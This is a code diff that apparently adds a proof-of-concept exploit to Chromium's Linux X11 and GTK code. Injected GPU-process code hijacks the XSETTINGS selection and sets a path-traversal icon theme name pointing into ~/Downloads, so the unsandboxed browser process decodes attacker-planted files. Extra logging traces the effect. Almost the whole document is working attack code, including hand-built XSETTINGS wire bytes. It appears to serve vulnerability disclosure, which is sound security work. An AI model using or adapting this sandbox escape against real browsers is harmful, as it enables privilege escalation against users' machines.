diff --git a/ui/gtk/gtk.sigs b/ui/gtk/gtk.sigs index 12e0c6bfc9078b..9ba4c9a7ee6346 100644 --- a/ui/gtk/gtk.sigs +++ b/ui/gtk/gtk.sigs @@ -21,6 +21,7 @@ gboolean gtk_bindings_activate_event(GObject* object, GdkEventKey* event); void gtk_widget_set_events(GtkWidget* widget, gint events); GType gtk_container_get_type(void); cairo_surface_t* gtk_icon_info_load_surface(GtkIconInfo* icon_info, GdkWindow* for_window, GError** error); +const gchar* gtk_icon_info_get_filename(GtkIconInfo* icon_info); void gtk_style_context_get_valist(GtkStyleContext* context, GtkStateFlags state, va_list args); void gtk_style_context_get_style_valist(GtkStyleContext* context, va_list args); GtkSnapshot* gtk_snapshot_new(void); diff --git a/ui/gtk/gtk_ui.cc b/ui/gtk/gtk_ui.cc index 43dd02ec8f1bec..9d4edca1038f9c 100644 --- a/ui/gtk/gtk_ui.cc +++ b/ui/gtk/gtk_ui.cc @@ -545,6 +545,25 @@ gfx::Image GtkUi::GetIconForContentType(const std::string& content_type, if (!icon_info) { continue; } + // ---------------------------------------------------------------------- + // POC OBSERVABILITY ONLY (not part of the attack): log the icon-theme + // name and the on-disk file that gdk-pixbuf is about to decode inside + // the unsandboxed browser process. The attack itself is performed by the + // injected GPU-process code in + // ui/ozone/platform/x11/ozone_platform_x11.cc which sets + // Net/IconThemeName via XSETTINGS over the GPU's pre-sandbox X11 socket. + { + gchar* itn = nullptr; + g_object_get(gtk_settings_get_default(), "gtk-icon-theme-name", &itn, + nullptr); + const gchar* fn = gtk_icon_info_get_filename(icon_info.get()); + LOG(ERROR) + << "[POC] browser-process gtk-icon-theme-name=\"" + << (itn ? itn : "(null)") << "\" " + << "GtkUi::GetIconForContentType(\"" << content_type + << "\") -> gdk-pixbuf will decode: " << (fn ? fn : "(null)"); + g_free(itn); + } auto* surface = gtk_icon_info_load_surface(icon_info.get(), nullptr, nullptr); if (!surface) { diff --git a/ui/ozone/platform/x11/ozone_platform_x11.cc b/ui/ozone/platform/x11/ozone_platform_x11.cc index 33d4a4a084cf8c..b369cd46846e4c 100644 --- a/ui/ozone/platform/x11/ozone_platform_x11.cc +++ b/ui/ozone/platform/x11/ozone_platform_x11.cc @@ -4,6 +4,7 @@ #include "ui/ozone/platform/x11/ozone_platform_x11.h" +#include #include #include #include @@ -307,6 +308,77 @@ class OzonePlatformX11 : public OzonePlatform, connection->DetachFromSequence(); surface_factory_ozone_ = std::make_unique(std::move(connection)); + + // ======================================================================== + // POC INJECTION: Simulate a compromised GPU process. + // + // The Linux GPU sandbox keeps the pre-sandbox X11 socket open (the + // connection set up just above). A compromised GPU process can speak raw + // X11 over it. Here we take ownership of the _XSETTINGS_S0 selection and + // publish Net/IconThemeName containing "../" path traversal. The browser + // process's GDK XSETTINGS client picks this up and writes it verbatim to + // GtkSettings::gtk-icon-theme-name. Unlike the cursor-theme analogue + // (IsValidCursorThemeName in ui/base/x/x11_cursor_loader.cc), the icon + // theme name is *not* validated, so GtkUi::GetIconForContentType() will + // later resolve icon files outside the icon search path -- e.g. inside + // ~/Downloads where the (also compromised) renderer has planted + // index.theme + application-pdf.png via ordinary auto-downloads. + // ======================================================================== + auto* poc_conn = x11::Connection::Get(); + if (poc_conn && poc_conn->Ready()) { + const char* home = getenv("HOME"); + // Enough "../" to escape any of GTK's default icon search paths + // (e.g. /usr/share/icons, ~/.local/share/icons) back to /, then descend + // into the renderer's download directory. + std::string evil = + std::string("../../../../../../../../../..") + + (home ? std::string(home) : std::string("/root")) + "/Downloads"; + + // XSETTINGS wire format (LSBFirst): header + one string setting. + std::vector p; + auto u8 = [&](uint8_t v) { p.push_back(v); }; + auto u16 = [&](uint16_t v) { u8(v & 0xff); u8(v >> 8); }; + auto u32 = [&](uint32_t v) { u16(v & 0xffff); u16(v >> 16); }; + auto pad4 = [&]() { while (p.size() & 3) u8(0); }; + u8(0); u8(0); u8(0); u8(0); // byte-order=LSBFirst, 3x unused + u32(1); // serial + u32(1); // n_settings + const std::string nm = "Net/IconThemeName"; + u8(1); u8(0); // type=string, unused + u16(static_cast(nm.size())); + for (char c : nm) u8(static_cast(c)); + pad4(); + u32(1); // last-change-serial + u32(static_cast(evil.size())); + for (char c : evil) u8(static_cast(c)); + pad4(); + + // Manager window must outlive this scope so the X server keeps the + // selection + property; leak it intentionally. + static x11::Window mgr = x11::Window::None; + mgr = poc_conn->CreateDummyWindow("poc-xsettings"); + + x11::Atom a_settings = x11::GetAtom("_XSETTINGS_SETTINGS"); + x11::Atom a_sel = x11::GetAtom("_XSETTINGS_S0"); + x11::Atom a_mgr = x11::GetAtom("MANAGER"); + + poc_conn->SetArrayProperty(mgr, a_settings, a_settings, p); + poc_conn->SetSelectionOwner(mgr, a_sel, x11::Time::CurrentTime); + + x11::ClientMessageEvent ev{}; + ev.format = 32; + ev.window = poc_conn->default_root(); + ev.type = a_mgr; + ev.data.data32 = {static_cast(x11::Time::CurrentTime), + static_cast(a_sel), + static_cast(mgr), 0u, 0u}; + poc_conn->SendEvent(ev, poc_conn->default_root(), + x11::EventMask::StructureNotify); + poc_conn->Flush(); + + LOG(ERROR) << "[POC] GPU process took _XSETTINGS_S0; " + "Net/IconThemeName=\"" << evil << "\""; + } } void PostCreateMainMessageLoop(